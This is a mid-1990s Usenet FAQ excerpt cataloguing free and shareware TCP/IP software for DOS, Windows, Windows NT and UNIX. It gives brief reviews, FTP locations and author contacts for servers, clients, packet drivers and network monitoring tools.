ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/gophserv.zip (example app)
ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/smtpserv.zip (example app)

Erick Engelke, WATTCP Architect; mailto:erick@uwaterloo.ca

Suggestion
Trumpet TCP/IP stack

This TCP/IP stack comes in three versions: a TSR version; a
Windows Sockets version (discussed below); and a built-in
version. It includes a traceroute program called hopchk2.

Available as ftp://ftp.utas.edu.au/pc/trumpet/abi-version/
Available at ftp://biochemistry.bioc.cwru.edu/pub/trumpet/tcp201.zip

P. Tattam, Programmer; Psychology Department, University of
Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
mailto:peter@psychnet.psychol.utas.edu.au

Downright Speculation
PC-IP Free

This was the software that started it all. It has been worked
on at MIT, Carnegie Mellon, and Harvard and other places, but
by now is out of date. Its authors recommend looking at newer
alternatives such as NCSA, WATTCP, etc.

Harvard version: Source code:
ftp://ftp newdev.harvard.edu,/pub/pcip/pcip.tar.Z,
ftp://ftp newdev.harvard.edu,/pub/pcip/doc.tar.Z,
Binaries: ftp://newdev.harvard.edu/pub/pcip/bin/packet/
ftp://newdev.harvard.edu/pub/pcip/bin/general/

Another version:
ftp://netlab.usu.edu/netwatch/pcip96.zip

DOS WITHIN WINDOWS

Recommendation
WINPKT free

WINPKT is needed for running DOS applications with
built-in TCP/IP stacks under Windows, as well as for
some Windows-based TCP/IP stacks (suck as Trumpet
Winsock). Compatible with ODIPKT.
Available at ftp://biochemistry.bioc.cwru.edu/pub...dos/winpkt.com

Downright speculation
PKTINT

PKTINT is included with the non-Winsock-compatible version
of WinQVT/Net to communicate with the real mode packet driver.
Available at ftp://biochemistry.micro.umn.edu/pub...t/qvtne397.zip

Recommendation
PKTMUX v1.2 Free

This program allows multiple TCP/IP protocol stacks to
use a single packet driver. It can also run over shims
such as DIS_PKT; I have used it with four or more
simultaneous DOS-based applications. Works great. However,
if you are only using a single DOS TCP/IP application
under Windows, use WINPKT instead, since it takes less
memory and is faster.

Available via ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/pktmux12.exe,
or ftp://biochemistry.bioc.cwru.edu/pub/dos/pktmux12.exe,
ftp://biochemistry.bioc.cwru.edu/pub/dos/pktmux12.txt

WINDOWS SERVERS

*Recommendation
Fingerd
Shareware $10 A Windows Sockets compatible finger server: ftp://sparky.umd.edu/pub/winsock/wfngrd12.zip ftp://ftp.cdrom.com/.5/cica/winsock/wfngrd12.zip *Suggestion WinSMTP WinSMTP is a shareware SMTP and POP3 daemon for Windows Sockets v1.1, writen by Jack De Winter (jackdw@metrics.com). WinSMTP can be configured for full Internet access as well as for use with a firewall; it supports MX record resolution as well as use with a mail relay machine. Available via: ftp://ftp.metrics.com/smtp/ssmtp104.zip http://www.metrics.com/smtp/index.html Downright Speculation Web4Ham Free A Windows Sockets compatible HTTP server, by Gunter Hille, mailto:hille@informatik.uni-hamburg.de. Available as: ftp://ftp.cdrom.com/.5/cica/winsock/web4ham.zip ftp://ftp.informatik.uni-hamburg.de/...ck/web4ham.zip Downright Speculation Hamburg Gopher Server Available at: ftp://ftp.informatik.uni-hamburg.de/...ham/go4ham.zip ftp://ftp.informatik.uni-hamburg.de/...ham/go4ham.doc Recommendation SerWeb v0.3 Free A fully functional HTTPd implementation for Windows. For info, mailto:estrella@cass.ma02.bull.com. Available as: ftp://sunsite.unc.edu/pub/micro/pc-s...s/serweb03.zip *Suggestion NCSA HTTPd for Windows Free This is a fully compliant HTTTP server from NCSA that supports scripts, and is now maintained by Robert Denny, mailto:rdenny@netcom.com. For information, try: http://www.alisa.com/win-httpd/ This home page contains news, latest releases, and FTP links to the server package. The FTP server location is: ftp://ftp.alisa.com/pub/win-httpd/ Downright speculation Cookie server Free This is a Windows-Sockets compatible fortune cookie server (RFC 865) that runs on port 17. Available at: ftp://winftp.cica.indiana.edu/pub/pc.../cooksock.zip. ftp://ftp.cdrom.com/.5/cica/winsock/cooksock.zip Contact: mailto:alun@huey.wst.com Suggestion Windows Sockets for PC/NFS free An implementation of Windows Sockets for PC/NFS. Available at: ftp://winftp.cica.indiana.edu/pub/pc...k/wsck-nfs.zip ftp://ftp.cdrom.com/.5/cica/winsock/wsck-nfs.zip *Suggestion WFTPD$15 (shareware)

An FTP daemon for Windows by Alun Jones (mailto:alun@fc.net)
that supports multiple logins, simultaneous transfers, runs
over most Winsocks, and is RFC 959 and 1123 compliant. WFTPD
also allows the site to be read only; allows configurable
time-outs; can log to a file.

Available at:
ftp://winftp.cica.indiana.edu/pub/pc...k/wftpd196.zip
ftp://oak.oakland.edu/SimTel/win3/winsock/wftpd196.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wftpd19c.zip

Downright Speculation
WinLPD Free

An lpd implementation for Windows. mailto:dog@inel.gov

Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/wslpd.zip

Downright speculation
Text server

This is an extended finger client, which can also serve text
files. Available at
ftp://winftp.cica.indiana.edu/pub/pc...ock/txtsrv.zip
ftp://ftp.cdrom.com/.5/cica/winsock/txtsrv.zip

Recommendation
SMTP daemon v1.6 free

A Windows-Sockets SMTP daemon, complete with source code.
Works fine. Available at:
ftp://winftp.cica.indiana.edu/pub/pc...k/wsmtpd16.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wsmtpd16.zip

mailto:iblenke@cip60.corp.harris.com

WINDOWS NT SERVERS

Recommendation
Windows NT FTP daemon Free

This is a Windows NT version of ftpd. Quite fast.
Available at:
ftp://sunsite.unc.edu/pub/micro/pc-s...ps/nt-ftpd.zip

Recommendation
HTTPS v0.9 Free

This is a very powerful and easy to install HTTP server,
probably the best I've seen running under any OS.
HTTPS is a Windows NT HTTP v1.0 server for Windows NT
produced as part of the European Microsoft Windows NT
Academic Centre (EMWAC). Binaries are available for
Intel and DEC Alpha architectures. HTTPS is
supports Forms and CGI-BIN scripts, and runs as a Windows
NT service.

HTTPS (For HTTP Service) can be configured via the control
panel, is integrated with the WAISS server, and logs HTTP
transactions in the event logger. Available at:
ftp://emwac.ed.ac.uk/pub/https/HSI386.ZIP (Intel version),
ftp://emwac.ed.ac.uk/pub/https/HSALPHA.ZIP (DEC Alpha version),
ftp://emwac.ed.ac.uk/pub/https/HHTPS.TXT
(description of the server)

Recommendation
GOPHERS v0.6 Free

This is a Windows NT Gopher server for Windows NT
produced as part of the European Microsoft Windows
NT Academic Centre (EMWAC). Binaries are available
for Intel and DEC Alpha architectures. This gopher
server is multi-threaded, and runs as a Windows NT
service. It can be configured via the control panel.
Available at:
ftp://emwac.ed.ac.uk/pub/gophers/GSI386.ZIP (Intel version),
ftp://emwac.ed.ac.uk/pub/gophers/GSALPHA.ZIP (DEC Alpha version),
ftp://emwac.ed.ac.uk/pub/gophers/MESSAGE.TXT
(description of the server)

Recommendation
WAISS v0.8 Free

This is a Windows NT WAIS server for Windows NT produced as
part of the European Microsoft Windows NT Academic Centre
(EMWAC). It inclues an indexing tool, WAISINDX that lets you
index documents in a number of formats. This is the easiest
to set up WAIS server I've seen, and it is well integrated
with the Gopher and HTTP servers.

Binaries are available for Intel and DEC Alpha
architectures. This WAIS server is multi-threaded, and
runs as a Windows NT service. It can be configured via
the control panel. Available at:
ftp://emwac.ed.ac.uk/pub/waistool
ftp://emwac.ed.ac.uk/pub/waiss

Downright speculation
NT-Perl Free

This is a Windows NT implementation of Perl v4.036, ported by Intergraph.

Available at:
ftp://emwac.ed.ac.uk/pub/ntperl.zip
ftp://winftp.cica.indiana.edu/pub/pc...nt/ntperlb.zip

Downright speculation
SOSSNT Free

This is a Winsock-compatible NFS server for NT v3.1. It is
derived from SOSS originally written for PC-IP. Available
at:
ftp://winftp.cica.indiana.edu/pub/pc.../sossntr3.zip.

Downright speculation
UUPC for NT Free

This is a version of UUCP running over either serial port
or TCP/IP, under Windows NT. Available via:
ftp://winftp.cica.indiana.edu/pub/pc...t/upc12bn1.zip
ftp://winftp.cica.indiana.edu/pub/pc...t/upc12bn2.zip
ftp://winftp.cica.indiana.edu/pub/pc...t/upc12bn3.zip
ftp://ftp.clarkson.edu/pub/uupc

Downright speculation
SMTP Gateway for NT Free

I have not a clue as to what this does, other than that its name
suggests some kind of SMTP gateway, and that it runs under Windows NT.
If you know what this does, please inform me. Available via:
ftp://winftp.cica.indiana.edu/pub/pc...t/smtpgate.zip

Downright speculation
NNS Free

This is an NNTP server for Windows NT by Jeff Coffler,
mailto:coffler@jeck.seattle.wa.us.
Available via:
ftp://ftp.wa.com/pub/local/ntnews/nns.zip

This program includes an NT version of TIN, and requires a
32-bit version of unzip that is available at the same FTP site.

UNIX SERVERS

Recommendation
Samba v1.8 Free

Samba includes a UNIX-based SMB file and print server,
as well as a UNIX SMB client and a NetBIOS nameserver (NBNS).
It can be used with clients such as Windows for Workgroups,
Windows NT, OS/2, Pathworks, and LanManager for DOS. This
means that it can attach to Windows NT and WFW servers or
mount portions of the UNIX file system on these machines.
You can also print from UNIX to an SMB printer by adding
security, umask support, guest connections and system
attribute mapping. Samba is being run under Linux,
SunOS, Solaris, SVR4, Ultrix, OSF1, AIX, BSDI, NetBSD,
Sequent, HP-UX, SGI, FreeBSD, and NeXT.

I just installed this on my UNIX machine, and I am ecstatic.
I haven't gotten the print server to work yet (hints anyone?),
but I am sharing files between the UNIX machine and others
running WFW and NT. Compared with publicly distributable NFS
implementations, this SMB-based solution integrates well with
Windows, is easier to secure (transfers occur over TCP, not UDP)
leaves the PCs with quite a bit more low memory (570K vs.
470K for NFS), is more stable, and faster than most NFS
implementations to boot. What more could you ask for?

Not only does Samba implement B-node technology, but it also
appears to support P and M node technology via a UNIX implementation
of the NetBIOS Name Server (NBNS), which runs as a daemon called
nmbd. The SMB server, smbd, can either be called up by inetd
or run as a daemon.

Other nice features include proper locking as required by OLE2 apps. This
is not yet handled by any NFS implementations. Only major deficit is
that browsing is not yet supported.

Available at:
ftp://nimbus.anu.edu.au/pub/tridge/s...-latest.tar.gz

PUTTING BBSes ON THE INTERNET

Suggestion
Major TCP/IP

Telnet/RLogin and a native FTP client. This does not require use of a
Novell server, or in fact, any "nanny" server.

The TCP/IP stack used in the product can support up to 255 concurrent TCP
sessions and has been tested with over 150 active connections at the same time.

MajorTCP/IP has been shipping since April 1st, and the FTP Client will be
shipping by the One BBSCON '94.

Digital Consulting Services; (212)697-7340, (800)899-2002,
mailto:Nyvideo@gcomm.com

WAN CONNECTIVITY

Suggestion
Niwot synchronous board $695 This Niwot synchronous adapter comes with a packet driver that works with PCROUTE or KA9Q, and can handle speeds up to T1. Niwot Networks, (303)444-7765 Suggestion RISCom N1 single port card$495
N2 dual port card

This board is supported by BSD/386, and supports HDLC at
56 Kbps for connection to Cisco routers running PPP.

SDL Communications, Inc.; (508)238-4490

Suggestion
Livingston Portmaster IRX-114 terminal servers

Livingston Enterprises; (800)458-9966, fax: (510)426-8951,
mailto:doug@livingston.com

Suggestion
Morning Star Routers

Morning Star Technologies, Inc; (614)451-1883, (800)558-7827,
fax: (614)459-5054, mailto:marketing@morningstar.com,
mailto:support@morningstar.com, ftp archive: ftp://ftp.morningstar.com/,
WWW server: http://www.morningstar.com/

Suggestion

This is a reasonably priced T1 CSU/DSU.

Capella Networking; (415)591-3400, (408)225-2655, mailto:dstolz@capella.com

TROUBLESHOOTING

Downright Speculation
Windows Ping free

Available at:
ftp://ftp.usma.edu/pub/msdos/winsock.files/ws_ping.zip
ftp://ftp.cdrom.com/.5/cica/winsock/ws_ping.zip

John Junod; mailto:zj8549@trotter.usma.edu; mailto:junodj@gordon-emh2.army.mil
NCOIC, Technology Integration Branch, Computer Science School,
FT Gordon, GA 30905; (706)791-3245 AV:780-3245

*Recommendation
WS_Watch free

A nifty little utility that lets you draw a network and then shows you
see when nodes go up and down. Can do ping, traceroute, telnet, nslookup
and more. Available at: ftp://ftp.usma.edu/pub/msdos/ and
ftp://ftp.cdrom.com/.5/winsock/wswatch.zip

*Downright Speculation
Syslogd free

A port of syslog to Windows. Useful for keeping track of error messages
generated by routers, bridges, applications, etc. Available as:
ftp://ftp.cdrom.com/.5/winsock/syslogd.zip

Downright Speculation
DOS Ping free

Available at:
ftp://ftp.usma.edu/pub/msdos/misc/ping.exe

Downright Speculation
Traceroute free

A version of traceroute for DOS, available at:
ftp://biochemistry.bioc.cwru.edu/pub/trumpet/tcp201.zip

There are also versions of ping and traceroute included with Trumpet Winsock.

Downright Speculation
SNMP monitor Free

An SNMP monitor for Sun, available at:
ftp://sun.soe.clarkson.edu/pub/packe...s/snmpsrc.zip.
Also available at ftp://enh.nist.gov/misc/snmpsrc.zip,
ftp://enh.nist.gov/misc/snmpsup.zip,
ftp://enh.nist.gov/misc/snmpsun.tar_Z

Suggestion
Fergie and Gobbler Free

Fergie is a packet monitoring and grabbing tool that supports SNMP
and supersedes Netmon, Spectre and Beholder. Tricklet is a set of SNMP
utilities.

The last release of Fergie and Gobbler occurred on August 25, 1993.
The DNPAP research group has now moved on to more current topics
(SNMP/RMON etc.), and is no longer able to fully support this software.

Fergie and Gobbler are available at
ftp://dnpap.et.tudelft.nl/pub/Fergie/frgbin2.zip.
The source code for Borland C is available at
ftp://dnpap.et.tudelft.nl/pub/Fergie/frgsrc2.zip.

To get on the Fergie mailing list, mailto:request@dnpap.et.tudelft.nl

*Suggestion
Beholder - The Next Generation (BTNG) Free

BTNG is an RMON compatible Ethernet monitor for OS/2,
SunOS and Ultrix. Tricklet is a set of SNMP utilities for
OS/2 and UNIX. To run these tools under OS/2, you will need
an Ethernet card with an NDIS driver for OS/2. Available at:
ftp://dnpap.et.tudelft.nl/pub/btng/btng51exe.zip (OS/2 binaries)
ftp://dnpap.et.tudelft.nl/pub/btng/btng51src.zip (OS/2 source)
ftp://dnpap.et.tudelft.nl/pub/btng/btng-5.1.tar.gz (SunOS)
ftp://dnpap.et.tudelft.nl/pub/btng/tricklet-6.0a.zip (OS/2 binaries)
ftp://dnpap.et.tudelft.nl/pub/btng/tricklet-5.1.tar.gz (SunOS)

Suggestion
NetProbe Free

An unsupported utility from 3Com that can decode XNS,
TCP/IP, ICMP, AppleTalk, IPX/SPX, SMB, and other protocols,
Plus and Token Plus adapters. Available on CompuServe in
the 3Com forum as EPROBE.ZIP in lib 5, unsupported utilities.

Downright Speculation
Netwatch Free

Essential network debugging tools for the PC. Available at
ftp://netlab.usu.edu/netwatch.dir/netwatch.exe.

Recommendation

This is an Ethernet load monitor and packet analyzer
that gives all kinds of useful statistics on your network,
including breakdowns by protocol (supports IP, NetWare, OSI,
DECNet, NetBEUI), source or destination, ports, etc. Very useful.

Available at ftp://oak.oakland.edu/pub/msdos/lan/ethld104.zip.
Also available at ftp://wsmr-simtel20.army.mil/&lt;msdos.lan&gt;/ethld104.zip.

Recommendation
EtherDump v1.04 Free

This is a tracing program, similar to TCPDump. However, the output
isn't quite as sophisticated or easy to read, although it certainly
is voluminous.

Available at:
ftp://oak.oakland.edu/pub/msdos/lan/ethdp104.zip
ftp://wsmr-simtel20.army.mil/&lt;msdos.lan&gt;/ethdp104.zip
ftp://ftp.cdrom.com/.2/SimTel/msdos/lan/ethdp104.zip

Downright speculation

This program collects Ethernet addresses and various statistics,
including protocols used, IP and IPX address, AppleTalk name,
etc.

Available at:

SNMP

Suggestion
SNMPMAN

SNMPMAN is an SNMP-based network monitoring
package written by Abner Correia, Jorge Pires,
and Tiago Silva (snmpman@di.fc.ul.pt).

Information on SNMPMAN is available
via http://www.fc.ul.pt/software/snmpman.html.

Available at:
ftp://ftp.fc.ul.pt/pub/networking/snmp/snmpman.zip

Lisboa (Departamento de Informatica), Campo Grande-Bloco
C5, 1700 LISBOA, Portugal; voice: +351 1 7510003,
fax: +351 1 7577831.

Recommendation
NetGuardian v1.1

NetGuardian is an SNMP-based network monitoring
package written by Paulo Sergio Mena,
Ricardo Machado de Oliveira and Rui Santos Antonio,
(netguard@di.fc.ul.pt). It requires Ling Thio
and Dirk Wisse's WINSNMP.DLL.

Information on NetGuardian is available
via http://www.fc.ul.pt/software/netguard.html.

Available at:
ftp://ftp.fc.ul.pt/pub/networking/snmp/netguard.zip

Lisboa (Departamento de Informatica), Campo Grande-Bloco
C5, 1700 LISBOA, Portugal; voice: +351 1 7510003,
fax: +351 1 7577831.

UNCLASSIFIABLE (BUT INTERESTING) STUFF

Downright speculation
GIGO Free

This has nothing to do with TCP/IP, but rather is a UUCP
packet to FidoNet .PKT translator. For info,
mailto:gigo-r@wmeonlin.sacbbx.com. Available at
ftp://ftp.netcom.com/pub/jfesler/gigo.zip

Downright speculation
X-Ray/Winsock API Trace/Debugger $169 X-Ray/Winsock is a debugger for the Windows Sockets API, which shows the interaction between a Windows application and theWinsock API in realtime. X-Ray displays Winsock API functions both before and after the call with parameters, constants and flags displayed according to their "C" header file equivalents. All "send" and "recv" data can be displayed in Hex and/or ASCII. All pointers are checked for validity. X-Ray has a selectable circular or fixed trace buffer with 2000 event capacity. Applications that are X-Rayed do not need debug information such as Codeview or modifications to the application. X-Ray can be used at the customer site, using production versions of applications. X-Ray has a unique floating "Details" window that displays individual trace records. VCR style controls are used to selectively view any records currently in the trace buffer. The trace buffer can be searched for a parameter value, error code, or other information. Context-sensitive help is available for all Winsock API functions. X-Ray can trace Winsock functions occurring in multiple applications simul- taneously. Individual applications can be selected for tracing. X-Ray has multiple logging options, including DBWin and file. Available via: ftp://ftp.netcom.com/pub/sstinc/xraywi12.zip ftp://winftp.cica.windows.edu/pub/wi...k/xraywi12.zip ftp://ftp.cdrom.com/.5/cica/winsock/xraywi12.zip Chuck Eaton, S.S.T.Incorporated; (818)346-2784, fax: (818)346-7070; mailto:70233.2504@compuserve.com, mailto:sstinc@netcom.com ------------------------------ END OF PART 3 ------------------------ Please send comments to: Bernard Aboba Author of: The Online User's Encyclopedia, Addison-Wesley, 1994 The PC-Internet Connection, Publisher's Group West, due in 1995 mailto:aboba@netcom.com FTP archive: ftp://ftp.zilker.net/pub/mailcom/ WWW page: http://www.zilker.net/users/internaut/index.html From: aboba@netcom.com (Bernard Aboba) Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 4 of 5 Expires: Fri, 12 May 1995 00:00:00 GMT Followup-To: poster Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI Organization: MailCom Reply-To: aboba@netcom.com Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers Approved: news-answers-request@MIT.Edu Summary: Frequently Asked Questions (and answers) about TCP/IP on PC-Compatible Computers Archive-name: ibmpc-tcp-ip-faq/part4 comp.protocols.tcp-ip.ibmpc: FAQ Posting, part 4, 4/1/95 DOS APPLICATIONS *Suggestion PPRD - LPD server for DOS v0.98 This turns an DOS machine to a dedicated LPD print server. It can handle up to 3 parallel ports. Serial printers can be handled by running LPTCOM, a TSR to divert parallel port output to a serial port. This can run on an 8088 machine with only a floppy drive. To enhance security, the client and server must be on the same subnet. It is available from: ftp://ftp.syd.dit.csiro.au/pub/ken/pprd098.zip Suggestion IRC client free A client for Internet Relay Chat. Available at ftp://ftp.utas.edu.au/pc/trumpet/irc/irc100.zip Available at ftp://biochemistry.bioc.cwru.edu/pub...et/irc100.zip, ftp://biochemistry.bioc.cwru.edu/pub...et/ircabi.zip, ftp://biochemistry.bioc.cwru.edu/pub/trumpet/irclwp.zip P. Tattam, Programmer; Psychology Department, University of Tasmania, Hobart, Tasmania, Australia, 61-02-202346; mailto:peter@psychnet.psychol.utas.edu.au Recommendation WAIS for DOS free A DOS WAIS client which uses the Clarkson drivers is available at ftp://sunsite.unc.edu/pub/packages/i...OS/pcdist.zip. A DOS WAIS client that requires the PC/TCP software from FTP Software is available at ftp://oac.hsc.uth.tmc.edu/public/dos/misc/oacwais.exe. For information, contact: Steven E. Newton, Office of Academic Computing, University of Texas Health Science Center, Houston, mailto:snewton@oac.hsc.uth.tmc.edu. There is also a Novell LAN Workplace WAIS client available at ftp://ftp.oit.unc.edu/pub/WAIS/UNC/nov-cli-visual.zip. Suggestion PDCLKSET Free Requiring a packet driver, this software sets your PC clock via an Internet time server.It also offers several useful network testing functions. Supports ping, and can build an arp table of nodes on the subnet. Available at ftp://oak.oakland.edu/pub/msdos/pkdrvr/pdclk207.zip Suggestion NCSA Telnet Free Available at ftp://zaphod.ncsa.uiuc.edu/PC/Telnet/msdos/tel2307b.zip (binaries) ftp://zaphod.ncsa.uiuc.edu/PC/Telnet/msdos/tel2307s.zip (sources) Also available at ftp://wsmr-simtel20.army.mil/PD1:&lt;MSDOS.PKTDRVR&gt;/tel2307b.zip Compatible with LocalTalk. A PPP FAQ is available at ftp://merit.edu/pub/ppp/pppfaq Recommendation MS-Kermit Free This version of Kermit supports telnet, VT320 and Tektronix emulation, as well as SIXEL. It incorporates the WATTCP stack, and also runns over Novell's LWP/DOS+Telapi, FTP Inc's PC/TCP+Tnglass, Beame & Whiteside's TCP/IP stack; DEC Pathworks, as well as over NetBIOS. It supports Int 14h as well as Int 6Bh, and can run over packet drivers. Available at ftp://kermit.cc.columbia.edu/kermit/bin/msvibm.zip, ftp://kermit.cc.columbia.edu/kermit/bin/msvibm.pif (Windows PIF file for MS-DOS Kermit) Downright speculation PCUCP Free This is a Windows v3.1 application that allows multiple open text windows at the UNIX end. It is available at ftp://winftp.cica.indiana.edu/pub/pc.../pcucp11a.zip. Recommendation CUTCP Telnet Free CUTCP is the premiere DOS telnet application. Aside from VT100, and Tektronxi emulation, CUTCP also handles 3270 emulation. The latest release has added ping and ODI support. Now supported by Rutgers University, having been tranferred from Clarkson University and Brad Clements. This directory contains the source and binary distributions, both in zip archives. For information contact mailto:cutcp-support@ftp-ns.rutgers.edu. Available at ftp://ftp-ns.rutgers.edu/pub/msdos/c...nt/cutcp-b.zip (Documentation and binaries), ftp://ftp-ns.rutgers.edu/pub/msdos/c...nt/cutcp-s.zip (Source, documentation, and binaries). Downright speculation Clarkson Archie Free Available at ftp://omnigate.clarkson.edu/pub/cutcp/archie.zip Suggestion Princeton Telnet Free The Princeton version of Telnet supports localtalk cards and also does tn3270 access. Works on all localtalk cards (Sitka, Daystar, Farallon, ... ) Available at ftp://pusun3.princeton.edu/pub/PU2-2TN/pu2-2tn.zip Recommendation Clarkson Charon IPX/TCP email and printer gateway v4.0 Charon is a gateway widely used with Pegasus mail. Available at ftp://omnigate.clarkson.edu/pub/cutcp/charon40.zip, ftp://sun.soe.clarkson.edu/pub/cutcp/charon.zip Recommendation Phone package Free A phone dialer package for DOS that was written to run with the UMSLIP driver. Be aware that UMSLIP does not work with PKTMUX. Available at ftp://ftp.ncsa.uiuc.edu/pub/pc/slip/sliparc.exe, ftp://ftp.ncsa.uiuc.edu/pub/pc/slip/phone.doc IP ADDRESS ASSIGNMENT Recommendation CIRA RARP server Free This is a RARP server that runs under DOS, and can give out an IP address from a pool. I have run it, and it is reliable. Available as ftp://pine.circa.ufl.edu/pc/rarp/rarp.zip. Recommendation RARP client Free This is a RARP client that can store the retrieved IP address in a DOS environmental variable, for later substitution into a file. Available as ftp://pine.circa.ufl.edu/pc/rarpset.zip. Recommendation BOOTPQ v1.2 Free BOOTPQ is a BOOTP client that can take an IP address extracted via BOOTP and put it into a DOS environmental variable. Available as ftp://biochemistry.cwru.edu/pub/dos/bootpq12.zip Downright Speculation BOOTP Free Frankly, I have never gotten this thing to work. A bootp server available via ftp://biochemistry.cwru.edu/pub/dos/bootp.zip or ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/bootp.zip Recommendation BOOTP for UNIX What if you want to provide configuration info to PCs supporting BOOTP? What you need is the CMU BOOTP server, available via: ftp://lancaster.andrew.cmu.edu/pub/bootp.2.1.tar.Z Tip for the BOOTP deprived: remember that if you setup multiple BOOTP servers, you need to sync up the configuration information. If servers put out conflicting BOOTP replys, then the first reply will take precedence. *Downright Speculation BOOTP Forwarder NLMs Novell offers a BOOTP forwarder NLM, known as BOOTPFWD.NLM; this relays BOOTP packets from one network to another. You can obtain this via a NetWare 3.11 TCP/IP upgrade on NetWire, or via ftp://ftp.novell.com. There is also another similar NLM, known as BOOTPFD.NLM. This is available as: ftp://sjf-lwp.sjf.novell.com/nw311/BOOTP-relay Recommendation Talk v1.2 Free A DOS Talk client running over packet drivers. Available as: ftp://oak.oakland.edu/pub/msdos/pktdrvr/talk-12.zip Recommendation PC Gopher III Free An MS-DOS client for the Gopher information server. Be aware that you must load WINPKT.COM (or PKTMUX if you are running multiple TCP/IP applications) to get this program to work under Windows. The code for PC Gopher III has also been incorporated into Minuet. Available at ftp://boombox.micro.umn.edu/pub/goph...s/pcgopher.txt ftp://boombox.micro.umn.edu/pub/goph...ient/00README, also: ftp://biochemistry.cwru.edu/pub/dos/pcg3.zip, ftp://biochemistry.cwru.edu/pub/dos/pcg3doc.zip WINPKT is available at ftp://biochemistry.micro.umn.edu/pub...dos/winpkt.com Downright Speculation Uwho Free Uwho is Stan Barber's interface to whois and ph e-mail address servers that runs under MS-DOS. An alpha test version is available at ftp://punisher.caltech.edu/pub/dank/...who218b.tar.Z, ftp://punisher.caltech.edu/pub/dank/uwho/uwho218b.zip, or unarchived in ftp://punisher.caltech.edu/pub/dank/uwho218b/ The archived text files are in Unix format. Recommendation DOS Trumpet v1.06b Shareware,$10.

Trumpet is an NNTP newsreader for DOS that can be placed on a
NetWare server, while storing news groups and configuration
files in each user's directory. It supports packet drivers,
LAN WorkPlace for DOS, and Trumpet ABI.

Available at ftp://ftp.utas.edu.au/pc/trumpet/dostrump/trmp106b.zip
Available at ftp://biochemistry.bioc.cwru.edu/pub.../trmp106b.zip,
ftp://biochemistry.bioc.cwru.edu/pub...t/newsabi.zip,
ftp://biochemistry.bioc.cwru.edu/pub...et/newslwp.zip

Contact: mailto:peter@psychnet.psychol.utas.edu.au

Trumpet will be charged by the total number of users who
as being one organization located within a radius of10 km.

The pricing structure is:

1-99 users $10 US per user 100-999 users$1000 US + $2 US per additional user above 100 1000-4999 users$2800 US + $0.20 US per additional user over 1000 5000+$3600 US

P. Tattam, Programmer; Psychology Department, University of
Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
mailto:peter@psychnet.psychol.utas.edu.au

Downright Speculation

This is a PC client for the Macintosh Broadcast program, by Kai Getrost.

Available at ftp://caisr2.caisr.cwru.edu/pub/net/bdcst11.zip

Suggestion
DOSLynx free

This is a textual browser for WWW that requires a class 1 packet
driver, and includes its own built-in TCP/IP stack. It can call
external viewers but does not allow viewing of inline images.
It is compatible with EtherSLIP or EtherPPP, but takes up quite
a bit of memory, leaving little left over for documents on a
640K machine. Available via:

Suggestion
NuPOP/PC free

In addition to a POP/SMTP mail client that supports MIME, NuPOP
contains an FTP client, a Ph (phonebook) client, a Gopher client,
a news reader, a Telnet client, and an LPR (print) client.
Version of NuPOP are also available that support Wollongong
TCP kernel, WATTCP kernel, and Trumpet ABI TCP kernel.
Can be gotten to support LocalTalk via the provided LocalTalk
driver. Do not use the Clarkson drivers for this. By the way,
NuPOP also supports serial access, as well as running over TCP/IP.

Available at ftp://ftp.acns.nwu.edu/pub/nupop/nupoprea.zip (real mode executable)
ftp://ftp.acns.nwu.edu/pub/nupop/nupoppro.zip (protected mode executable)

If you want the news reading and MIME support, you must first
install the protected mode version described above, and then
install the following over it.
ftp://ftp.acns.nwu.edu/pub/nupop/nup...e/nupop210.zip
or if you get the real mode executable:
ftp://ftp.acns.nwu.edu/pub/nupop/nup...se/real210.zip

Suggestion
POPmail-PC v3.2.2

This is the package included with SLIPDISK. Supports Ethernet,
AppleTalk, and SLIP. Use the AppleTalk driver that works with NuPOP.

Available at
ftp://boombox.micro.umn.edu/pub/pc/p...m/popmail.exe,
ftp://boombox.micro.umn.edu/pub/pc/p...am/popmail.hlp

ftp://boombox.micro.umn.edu/pub/pc/p...ls/manual.asc,
ftp://boombox.micro.umn.edu/pub/pc/p...m/popmail.doc,
ftp://boombox.micro.umn.edu/pub/pc/p...am/popmail.sty

A POP3 server for VMS and MS-DOS client software is available at
ftp://logos.ucs.indiana.edu/INDEX

Recommendation
Minuet

A smorgasbord of DOS TCP/IP applications, including gopher, mail,
ftp, news, and telnet, Minuet includes code from PC Gopher III,
and POPmail. It supports multiple windows, as well as Ethernet,
AppleTalk and SLIP packet drivers. Use the AppleTalk driver
that works with NuPOP. Since Minuet does so much, and does
it well, you may not want to use anything else, unless you
don't have enough RAM for it.

Available at ftp://boombox.micro.umn.edu/pub/pc/minuet/minuarc.exe

Suggestion
PC-Pine v3.88 Free

This is a PC-compatible version of Pine, running under DOS.
There are versions written for FTP Software's PC/TCP, Novell's
Lan WorkPlace for DOS, and WATTCP.

Available at ftp://ftp.cac.washington.edu/mail/pcpine_p.zip
(WATTCP version),
ftp://ftp.cac.washington.edu/mail/pcpine_n.zip (Novell LWP),
ftp://ftp.cac.washington.edu/mail/pcpine_f.zip (FTP PC/TCP)

Note that PC Pine relys on the Interactive Mail Access Protocol
(IMAP2) rather than POP. You must have an IMAP server installed
in order to use it. IMAPd is available at
ftp://ftp.cac.washington.edu/mail/imap.tar.Z

For a listing of other IMAP-compatible clients, get
ftp://ftp.cac.washington.edu/mail/imap.software.

Downright speculation
Ph client

University of Illinois CCSO name server client.

Available at ftp://uxc.cso.uiuc.edu/net/ph/dos/pcph.com,

Downright Speculation
FTPNuz $10/shareware Gene Mangum's shareware newsreader for DOS, which requires FTP Software's PC/TCP kernel. Runs under MS-DOS, as well as in a DOS window under MS Windows and OS/2. Features include support for NNTP,pull-down menus, reading and posting of news, reply by mail via SMTP. Available at ftp://calvin.sfasu.edu/pub/dos/netwo...p/ftpnuz10.zip Gene Mangum; mailto:h198@hosp.med.umich.edu NFS Downright speculation NFS Client Business users$20 (Shareware)
